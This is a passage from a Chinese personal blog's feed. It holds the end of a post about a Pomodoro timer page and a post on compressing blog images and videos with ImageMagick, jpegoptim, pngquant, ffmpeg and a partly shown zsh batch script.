&lt;p&gt;NES.css&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;似乎是以修改全局样式为目的而写的，直接使用的话会破坏博客原有样式。所以我用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sass&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;26264176&quot;&gt;给它所有样式前面嵌套了一层&lt;&#x2F;a&gt;，然后删掉了多余的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;body。这样可以用了，但有些分辨率下进度条的边框会出现缝隙，不太明白为什么。&lt;&#x2F;p&gt;
&lt;p&gt;其实我写番茄时钟的初衷是在安卓火狐上使用，但不一直盯着页面的话连倒计时都无法完成这一点基本宣告了死刑。费劲巴拉写出来的东西是残废，我还是用我十块钱包邮的实体闹钟吧。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pomodoro
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;pomodoro&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>压缩博客的图片和视频</title>
    <published>2023-04-19T20:03:48+01:00</published>
    <updated>2023-06-08T14:39:03+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/compress-image-video/" type="text/html" />
    <id>https://emptystack.top/compress-image-video/</id>
    <content type="html">
      &lt;p&gt;最近琢磨着更新一下《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;&quot;&gt;爱丁堡的博物馆&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，但因为要先把图片拖到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OneDrive&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹里，再点右键&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在线查看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;→···→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;嵌入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大（1024px）→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;复制&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;URL→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;![alt
text]()→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;粘贴，所以歇了。仔细一想，这样插图确实太复杂了，干脆还是把图片全存本地，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;remotely-save&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;同步到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里好了——但这样就需要自己压缩图片和视频，也就有了这篇博客。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;图片&quot;&gt;图片&lt;&#x2F;h2&gt;
&lt;p&gt;压缩图片最立竿见影的方法是降分辨率。我不清楚&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2023&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年博客最适合的分辨率是多少，但我之前插的图大部分是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1024px，够用。&lt;&#x2F;p&gt;
&lt;p&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ImageMagick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以原地修改图片（magick
mogrify&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但因为我要保留原图看压缩有没有劣化太多，所以我喜欢用创建新图片的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;convert（仍然是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ImageMagick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的一部分，但&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;61208844&quot;&gt;切记不要在前面加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magick&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。让图片最长边不超过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1024px&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的命令是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;convert&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 要修改的图片&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -resize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 1024x1024&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 新的图片&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 注意大于号&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;2024-02-06更新&quot;&gt;2024-02-06&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新&lt;&#x2F;h3&gt;
&lt;p&gt;其实在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2023-12-14，也就是写完《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;&quot;&gt;音乐整理博士&lt;&#x2F;a&gt;》的前几天，我不再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ImageMagick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;压缩图片了。&lt;&#x2F;p&gt;
&lt;p&gt;现在我直接把原图通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git-annex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;记录进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仓库，再&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;push&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;桶中。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;构建时，先恢复缓存，再从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;桶中下载新增的图片。然后使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Zola&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的模板函数压缩图片、把指向原图的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;img&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;替换成带有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;srcset、height、width、decoding、loading&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;属性的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;img&amp;gt;（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;compress-image-video&#x2F;#%E8%A7%86%E9%A2%91&quot;&gt;视频仍然用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FFmpeg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;提前压缩好&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。最后再把缓存保存到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的缓存目录里。&lt;&#x2F;p&gt;
&lt;p&gt;光说有点抽象，最好还是把设置仓库的命令、压缩图片的模板、构建脚本都贴上来。但是我已不想在博客上花时间了，所以我不会解释到那种程度。只是有读者在我停更之后才发现这篇博客，我才决定至少要说明一下现在的解决方案。&lt;&#x2F;p&gt;
&lt;p&gt;这样的好处是保留了原图，之后想要改变压缩策略时不会被二次压缩。因为使用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;srcset&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配合多种分辨率的同一张图，使用小屏幕浏览时不会加载没必要的细节。而且所有图片都由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Netlify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分发，速度大概会比自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;快。还有，把图片一同登记到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Git&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，可以避免更新了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown，但忘了把配套图片传到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的粗心之举（真的发生过&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;快过年了，祝大家万事如意。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;JPEG&quot;&gt;JPEG&lt;&#x2F;h3&gt;
&lt;p&gt;缩小图片之后我们还可以更进一步减小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JPEG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;图片的大小——当然，以技术指标上的降质来换。参数降低不代表观感降低，所以可以大胆地压。最长边只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1024px&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JPEG，压到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;100KB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;左右观感毫无问题：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;jpegoptim&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 新的图片（会被覆盖）&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --quiet --size=100K&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;JPEG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一般是自己的相片，在分享前得把敏感元信息脱掉这件事已经是共识了。网上的教程喜欢用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ExifTool&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ImageMagick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一口气去掉所有元信息，但其实有些元信息是应该保留的：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;EXIF
Orientation&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;信息：当你旋转一张照片时，编辑器大概率只是在这里记录下旋转了多少度，并没有真的把整张图片转过去。所以要么保留它，要么在去除它之前真的把图片转过去（convert
-auto-orient&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;ICC
Profile：这里记录了图片的色彩空间等信息，具体我也不懂，但&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;photo.stackexchange.com&#x2F;questions&#x2F;56378&#x2F;how-can-i-strip-tags-from-a-jpeg-without-removing-the-color-profile&quot;&gt;去除后图片会变色&lt;&#x2F;a&gt;。我的做法是保留它们，因为最敏感的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;信息是以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EXIF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式存储的。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;另外，拍摄时间之类的元信息也没必要清除——如果一张照片连拍摄时间都要隐藏才能发，那我建议直接别发。俗话说的好：上网不涉密，涉密不上网。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;PNG&quot;&gt;PNG&lt;&#x2F;h3&gt;
&lt;p&gt;PNG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;格式的图片一般不会暴露敏感信息：一来谁的相机照出来是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PNG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;啊，二来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PNG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年才加入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EXIF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;支持。所以不用担心什么元信息。&lt;&#x2F;p&gt;
&lt;p&gt;至于压缩软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PNG&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我选&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pngquant。记得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年我选了一圈，但现在忘了当时为什么选&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pngquant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;视频&quot;&gt;视频&lt;&#x2F;h2&gt;
&lt;p&gt;可恶，我为什么要在博客里插视频呀，这不是给自己找麻烦么！我插了几段&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.265&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编码，比特率莫名其妙地高的视频——太占地了，压缩！&lt;&#x2F;p&gt;
&lt;p&gt;最开始我用降低比特率的方法压缩，但是发现有些读者没法看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.265&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的视频。然后我开始考虑把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.265&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的视频转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VP9&#x2F;AV1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给看不了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.265&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的朋友当退路，所以对比了下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libvpx-vp9、libsvtav1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的编码速度和效果（libvpx-vp9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的速度极慢，效果也不如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libsvtav1——但它们的速度和效果都不如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libx265&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。考虑到这三种编码的覆盖率各有千秋，最后我还是把目光投向了所有浏览器都支持的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.264——毕竟博客上的视频是让读者看的，不是给自己收藏的，所以折腾那些读者没法看的编码、参数没有用。&lt;&#x2F;p&gt;
&lt;p&gt;可是，视频原本是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.265，如果其他条件相同，转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;H.264&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一定会更大。那只好使用绝活了——降分辨率：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;ffmpeg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; input.mp4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -vf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; scale=iw&#x2F;2:ih&#x2F;2 output.mp4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;remotely-save&#x2F;remotely-save&#x2F;issues&#x2F;182#issuecomment-1235832799&quot;&gt;在安卓上用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;remotely-save&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件同步视频会造成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;闪退，解决方法是禁止同步大文件。&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;脚本&quot;&gt;脚本&lt;&#x2F;h2&gt;
&lt;p&gt;基本就是给前面提到的命令加个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;for&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;循环。其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EXTENDED_GLOB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是为了开启&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GLOB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的取反和或操作，NULL_GLOB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则是在匹配不到任何字符串时取消执行整条命令而不报错。&lt;&#x2F;p&gt;
&lt;p&gt;还有，最开始我对每个循环都遍历一次所有文件——毕竟从复杂度上来说这和只遍历一次一样，不过我有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;331&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个文件和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;26&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个文件夹，遍历一次已经够慢了，所以还是改掉了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;bin&#x2F;zsh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -euxo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; pipefail&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;SRC_FOLDER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;setopt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; EXTENDED_GLOB NULL_GLOB&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # Don&amp;#39;t exec if no match&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;files&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$SRC_FOLDER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;.{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;jpg,png,mp4}~*-(optim.jpg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;fs8.png&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;scaled.mp4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;cleanup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        sed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;s|${1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;t}|${2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;t}|g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $SRC_FOLDER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        rm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; f &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(${&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;M&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;files&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;:#*&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;jpg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; newf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;jpg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;-optim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;jpg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
